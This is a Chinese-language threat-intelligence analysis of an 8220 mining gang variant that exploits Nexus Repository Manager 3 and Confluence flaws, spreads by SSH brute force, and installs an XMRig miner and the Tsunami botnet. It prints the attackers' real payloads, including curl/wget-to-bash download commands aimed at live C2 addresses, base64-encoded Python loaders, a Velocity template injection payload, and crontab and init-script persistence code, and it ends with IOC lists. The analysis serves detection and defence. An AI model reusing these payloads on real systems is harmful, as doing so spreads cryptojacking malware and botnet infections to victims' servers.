感谢腾讯御见威胁情报中心来稿!
原文链接:https://mp.weixin.qq.com/s/NVm1jLRy8on0IdnK0ZOwwQ
腾讯安全接到用户求助,报告腾讯云主机安全(云镜)网络防御功能检测到攻击事件。腾讯安全专家通过攻击日志分析,发现这是8220挖矿团伙最新变种针对企业云服务器的攻击活动,该用户对腾讯主机安全(云镜)日志告警及时处置,已彻底消除该挖矿团伙的威胁。
一、背景
腾讯安全接到用户求助,报告腾讯云主机安全(云镜)网络防御功能检测到攻击事件。腾讯安全专家通过攻击日志分析,发现这是8220挖矿团伙最新变种针对企业云服务器的攻击活动,该用户对腾讯主机安全(云镜)日志告警及时处置,已彻底消除该挖矿团伙的威胁。
腾讯主机安全(云镜)检测网络攻击
在此次攻击活动中,发现8220挖矿团伙首次使Nexus Repository Manager 3远程代码执行漏洞CVE-2019-7238、Confluence 远程代码执行漏洞CVE-2019-3396攻击入侵,并在入侵后会尝试利用多个SSH爆破工具进行横向移动,最终在失陷系统植入挖矿木马以及Tsunami僵尸网络病毒。
腾讯安全研究人员分析发现,此次利用Nexus Repository Manager 3和Confluence Server高危漏洞的攻击来源为8220挖矿团伙,此次入侵后将核心shell程序xms下载到感染机器上执行,xms会尝试卸载安全软件,杀死竞品挖矿木马进程,关闭Linux防火墙、设置最大线程和内存页以保证挖矿时对机器资源的充分利用。
在横向移动阶段,8220挖矿团伙利用多个攻击程序对目标机器进行SSH爆破,攻击成功后上传木马程序并执行远程命令。执行Payload除了下载xms脚本的命令外,还会执行Python脚本代码d.py或dd.py(取决于C2域名bash.givemexyz.in是否可用)下载挖矿木马以及Tsunami僵尸程序,并且通过安装crontab定时任务和系统初始化脚本进行本地持久化,入侵攻击流程如下:
8220挖矿变种攻击流程
8220挖矿团伙自2017年左右开始活跃,攻击目标包括Windows以及Linux服务器,该团伙早期会利用Docker镜像传播挖矿木马,后来又逐步利用Redis未授权访问漏洞、Kubernetes未授权访问漏洞、JBoss漏洞(CVE-2017-12149)、Weblogic漏洞(CVE-2017-10271)、Couchdb漏洞(CVE-2017-12635和CVE-2017-12636)、Drupal漏洞(CVE-2018-7600)、Hadoop Yarn未授权访问漏洞、Apache Struts漏洞(CVE-2017-5638)、Tomcat服务器弱口令爆破进行攻击,并且在2020年被发现开始通过SSH爆破进行横向攻击传播。
腾讯安全系列产品针对8220挖矿团伙最新行动的响应清单如下:
应用场景 | 安全产品 | 解决方案 |
威
胁 情 报 |
腾讯T-Sec
威胁情报云查服务 (SaaS) |
1)8220挖矿团伙相关IOCs已入库。
各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考:https://cloud.tencent.com/product/tics |
腾讯T-Sec
高级威胁追溯系统 |
1)8220挖矿团伙相关信息和情报已支持检索。
网管可通过威胁追溯系统,分析日志,进行线索研判、追溯网络入侵源头。T-Sec高级威胁追溯系统的更多信息,可参考:https://cloud.tencent.com/product/atts |
|
云原生安全
防护 |
云防火墙
(Cloud Firewall,CFW) |
1)基于网络流量进行威胁检测与主动拦截,已支持:
8220挖矿团伙关联的IOCs识别检测; 2)检测以下类型漏洞利用:Struts2漏洞利用、Weblogic漏洞利用、Drupal漏洞利用、Tomcat漏洞利用、JBoss漏洞利用、Confluence漏洞利用、Nexus Repository Manager 3漏洞利用 有关腾讯云防火墙的更多信息,可参考: |
腾讯T-Sec 主机安全
(Cloud Workload Protection,CWP) |
1)已支持查杀8220挖矿团伙相关木马程序;
2)检测以下漏洞:Apache Struts2漏洞CVE-2017-5638、WebLogic 漏洞CVE-2018-2628、WebLogic 漏洞CVE-2017-10271、Tomcat漏洞CVE-2017-12615、Drupal漏洞CVE-2018-7600、CouchDB权限绕过漏洞利用(CVE-2017-12635,CVE-2017-12636)、Confluence 未授权远程代码执行漏洞(CVE-2019-3396)、Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238) 腾讯主机安全(云镜)提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息,可参考:https://cloud.tencent.com/product/cwp |
|
腾讯T-Sec 安全运营中心 | 基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全(云镜)、腾讯御知等产品数据导入,为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。
关于腾讯T-Sec安全运营中心的更多信息,可参考:https://s.tencent.com/product/soc/index.html |
|
非云企业安全防护 | 腾讯T-Sec
高级威胁检测系统 (腾讯御界) |
1)已支持通过协议检测8220挖矿团伙与服务器的网络通信;
2)检测以下漏洞利用:Apache Struts2漏洞CVE-2017-5638、WebLogic 漏洞CVE-2018-2628、WebLogic 漏洞CVE-2017-10271、Tomcat漏洞CVE-2017-12615、Drupal漏洞CVE-2018-7600、JBoss漏洞CVE-2017-12149、CouchDB权限绕过漏洞利用(CVE-2017-12635,CVE-2017-12636)、Confluence 未授权远程代码执行漏洞(CVE-2019-3396)、Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238) 关于T-Sec高级威胁检测系统的更多信息,可参考: |
二、详细分析
1.网络入侵
Nexus Repository Manager 3中存在CVE-2019-7238远程代码执行漏洞,影响版本Nexus Repository Manager OSS/Pro 3.6.2 到 3.14.0,腾讯云安全团队于2019年2月13日发现并上报了该漏洞。
攻击者构造请求对运行Nexus Repository Manager 3的主机进行攻击,执行恶意命令传播挖矿程序,该攻击活动被腾讯主机安全(云镜)网络防御模块检测告警。
执行shell命令如下:
rm -rf /tmp/.python; curl -s http://205.185.116.78/xms | bash -sh; wget -q -O - http://205.185.116.78/xms | bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d | bash -; lwp-download http://205.185.116.78/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms
Confluence Server和Confluence Data Center产品中使用的widgetconnecter组件(版本<=3.1.3)中存在服务器端模板注入(SSTI)漏洞CVE-2019-3396。攻击者可以利用该漏洞实现对目标系统进行远程代码执行(RCE)。
8220挖矿团伙于2020年10月15日上传了攻击Payload: ftp[:]//205.185.116.78/x.vm
x.vm代码:
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget http[:]//205.185.116.78/xms -O /tmp/xms")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl -O /tmp/xms http[:]//205.185.116.78/xms")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("lwp-download http[:]//205.185.116.78/xms /tmp/xms")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,nul
2.核心shell
为了达到最大化占用内存资源进行挖矿的目的,xms首先进行以下设置:
setenforce 0 设置SELinux 成为permissive模式,临时关闭Linux防火墙,通过ulimit设置最大线程,通过vm.nr_hugepages设置最大内存页提高内存性能。
1.setenforce 0 2>/dev/null2.ulimit -u 500003.sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))
然后通过搜索端口号、矿池IP地址找到并杀死竞品挖矿进程:
杀死竞品挖矿进程
试图卸载阿里云骑士、腾讯云镜,该段代码目前被屏蔽,推测是黑客担心卸载行为被检测到。
卸载安全软件
从ifconfig中获取IP地址备用。
获取IP地址
通过Ping命令测试矿池域名DNS是否成功。
测试矿池域名
设置横向移动攻击时的Payload:
payload="(curl -fsSL http://198.98.57.217/xms||wget -q -O- http://198.98.57.217/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTguOTguNTcuMjE3L2QucHkiKS5yZWFkKCkpJw== | base64 -d | bash -; lwp-download http://198.98.57.217/xms /tmp/xms; bash /tmp/xms; rm -rf /t
Payload执行的代码主要功能为下载核心shell脚本xms并执行。
其中echo命令中的内容解码如下,主要功能为下载和执行Python代码d.py。
python -c 'import urllib;exec(urllib.urlopen("http://198.98.57.217/d.py").read())'
接着d.py负责下载和启动挖矿木马,x86_x64为64位、i686为32位,go负责启动挖矿进程和将其伪装成系统进程。
下载挖矿木马
挖矿木马使用UPX壳保护,挖矿程序运行时伪装成系统进程“dbus”。
挖矿木马启动
脱壳后发现挖矿木马采用开源挖矿程序XMRig编译,并使用了特殊字符串“pwnRig”进行标记。
挖矿木马标记
d.py部署挖矿进程后,base64解码执行另一段Python代码,负责下载bb.py:
python -c ‘import urllib;exec(urllib.urlopen(“http://bash.givemexyz.in/bb.py”).read())’
接着bb.py负责下载和执行Tsunami僵尸程序。
下载Tsunami僵尸程序
Tsunami僵尸程序会利用远程代码执行漏洞,扫描、定位和攻击脆弱的系统,然后通过僵尸网络来控制设备,通过IRC协议与C2服务器通信,根据命令发起HTTP、UDP类型的DDoS攻击。
Tsunami僵尸程序特征
接着解码另一段base64编码的代码并执行:
#!/bin/bash if [ $(ping -c 1 bash.givemexyz.xyz 2>/dev/null|grep"bytes of data" | wc -l ) -gt '0' ]; then url="bash.givemexyz.xyz" base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei54eXovZGQucHkiKS5yZWFkKCkpJw==" else url="5.196.247.12" base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn" fi if crontab -l | grep -q"205.185.113.151/|198.98.57.217" then chattr -i -a/etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root/var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down crontab -r echo "Cronnot found" echo -e "*/1 * * * * root (curl -shttp://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d| bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf/tmp/xms/n##" > /etc/cron.d/root echo -e"*/2 * * * * root (curl -s http://$url/xms||wget -q -O -http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-downloadhttp://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms/n##" >/etc/cron.d/apache echo -e"*/3 * * * * root /dev/shm/dbusex -c $dns && /home/`whoami`/dbusex-c $dns && /var/run/dbusex -c $dns && /root/dbusex -c$dns/n##" > /etc/cron.d/nginx echo -e"*/30 * * * * (curl -shttp://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d| bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms/n; rm -rf/tmp/xms/n##" > /var/spool/cron/root echo IyEvYmluL2Jhc2gKCmVjaG8gLWUgJyMhL2Jpbi9iYXNoCiMjIyBCRUdJTiBJTklUIElORk8KIyBQcm92aWRlczogICAgICAgICAgZG93bgojIFJlcXVpcmVkLVN0YXJ0OgojIFJlcXVpcmVkLVN0b3A6CiMgRGVmYXVsdC1TdGFydDogICAgIDIgMyA0IDUKIyBEZWZhdWx0LVN0b3A6CiMgU2hvcnQtRGVzY3JpcHRpb246IGRvd24gKGJ5IHB3bmVkKQojIyMgRU5EIElOSVQgSU5GTwooY3VybCAtZnNTTCBodHRwOi8vNS4xOTYuMjQ3LjEyL3htc3x8d2dldCAtcSAtTy0gaHR0cDovLzUuMTk2LjI0Ny4xMi94bXMpfGJhc2ggLXNoOyBlY2hvIGNIbDBhRzl1SUMxaklDZHBiWEJ2Y25RZ2RYSnNiR2xpTzJWNFpXTW9kWEpzYkdsaUxuVnliRzl3Wlc0b0ltaDBkSEE2THk4MUxqRTVOaTR5TkRjdU1USXZaQzV3ZVNJcExuSmxZV1FvS1NrbiB8IGJhc2U2NCAtZCB8IGJhc2ggLTsgbHdwLWRvd25sb2FkIGh0dHA6Ly81LjE5Ni4yNDcuMTIveG1zIC90bXAveG1zOyBiYXNoIC90bXAveG1zJyA+IC9ldGMvaW5pdC5kL2Rvd24=| base64 -d | bash - mkdir -p/var/spool/cron/crontabs echo -e "** * * * (curl -s http://$url/xms||wget-q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -;lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms/n##"> /var/spool/cron/crontabs/root mkdir -p/etc/cron.hourly echo "(curl-fsSL http://$url/xms||wget -q -O- http://$url/xms)|bash -sh; echo $base |base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm-rf /tmp/xms" > /etc/cron.hourly/oanacroner1 | chmod 755/etc/cron.hourly/oanacroner1 fi
该段代码主要有以下功能:
- 测试bash.givemexyz.xyz是否能解析成功,能则赋值url=”bash.givemexyz.xyz”且将base(定时任务)设置为dd.py,否则url=” 5.196.247.12″,base(定时任务)设为d.py。
- 将执行xms脚本的命令写入定时任务,写入以下位置:
/etc/cron.d/root
/etc/cron.d/apache
/etc/cron.d/nginx
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.hourly/oanacroner1
- 执行一段base64编码的代码,通过设置系统初始化脚本(Linux Standard Base)将恶意代码添加到启动项/etc/init.d/down:
#!/bin/bash echo -e '#!/bin/bash ### BEGIN INIT INFO # Provides: down # Required-Start: # Required-Stop: # Default-Start: 2 3 4 5 # Default-Stop: # Short-Description: down (by pwned) ### END INIT INFO (curl -fsSL http://5.196.247.12/xms||wget -q -O- http://5.196.247.12/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -; lwp-download http://5.196.247.12/xms /tmp/xms; bash /tmp/xms' > /etc/init.d/down
3.横向移动
1.从/.ssh/known_hosts中获取已认证的远程主机ID,与对应的主机建立SSH连接并执行命令下载恶意脚本xms。
2.利用下载的攻击程序hxx进行SSH扫描和爆破登陆,然后下载xms执行。
Hxx为一款端口扫描和爆破工具,在某视频分享网站上https[:]//asciinema.org/a/106101有作者honeypot上传的演示视频。
爆破字典中包含16000多对SSH账号密码。
3.利用下载的攻击程序sshexec和sshpass进行SSH爆破登陆。
sshexec支持上传文件到远程服务器同时执行命令,攻击时将包含挖矿木马和启动程序的压缩包”/tmp/good.tar.gz”上传到目标服务器,然后解压执行。
IOCs
IP:
205.185.116.78
5.196.247.12
198.98.57.217
205.185.113.151
194.156.99.30
209.141.61.233
209.141.33.226
209.141.35.17
Domain:
bash.givemexyz.xyz
bash.givemexyz.in
c4k-rx0.pwndns.pw
MD5:
xms | 917f0390a3568385fcbfecc0b2b36590 |
xms | c242aee778acb533db60b1bc8bb7478d |
xmi | 4613a0cdf913d3f193e977bebbaf7536 |
x86_64 | cd7ca50a01fc9c6e8fdc8c3d5e6100f0 |
i686 | 8bfc072d37f41190515f8dc00a59fb2e |
x32b | ee48aa6068988649e41febfa0e3b2169 |
x64b | c4d44eed4916675dd408ff0b3562fb1f |
go | 9c7ceb4aa12986d40ffdd93ba0ca926e |
d.py | 2bee6aad5c035f13fc122ec553857701 |
dd.py | d563218fee8156116e1ad023f24e1a5d |
bb.py | 2fd8cfcac4d08577c6347567b5978497 |
good.tar.gz | 8f1e95b72e228327d5d035e8c9875cb4 |
linux.tar.gz | c7a83c9225223394a5e3097d8e1eb66e |
sshexec | 57b818cb57dd4a517bde72684e9aaade |
sshpass | b1fc3486f3f4d3f23fcbf8b8b0522bf8 |
scan | b42183f226ab540fb07dd46088b382cf |
hxx | f0551696774f66ad3485445d9e3f7214 |
l.py | 022d538e6175a58c4ebdfe3b1f16c82e |
URL:
http://bash.givemexyz.xyz/dd.py
http://bash.givemexyz.xyz/i686
http://bash.givemexyz.xyz/d.py
http://bash.givemexyz.xyz/x32b
http://bash.givemexyz.xyz/x86_64
http://198.98.57.217/good.tar.gz
http://bash.givemexyz.in/dd.py
参考链接:
- Nexus Repository Manager 3访问控制缺失及远程代码执行漏洞预警
https://cloud.tencent.com/announce/detail/459
- Confluence未授权RCE(CVE-2019-3396)突破分析
- 疑似国内来源的“8220挖矿团伙”追踪溯源分析
https://mp.weixin.qq.com/s/oUV6iDvIrsoiQztjNVCDIA
- “8220团伙”最新活动分析:挖矿木马与勒索病毒共舞
https://mp.weixin.qq.com/s/CPHRAntQAflcJr_BcNnNUg
- 8220团伙新动向:利用Aapche Struts高危漏洞入侵,Windows、Linux双平台挖矿
https://mp.weixin.qq.com/s/sO8sXWKVWCHS6upVc_6UtQ
- 抗“疫”时期,谨防服务器被StartMiner趁机挖矿!
https://mp.weixin.qq.com/s/4350pUlXYXTMyYEAzztwQQ
- “8220”挖矿木马入侵服务器挖矿,组建“海啸”僵尸网络,可发起DDoS攻击
https://mp.weixin.qq.com/s/X0LeyXch6Bsa_2aF-cItXQ
请登录后发表评论
注册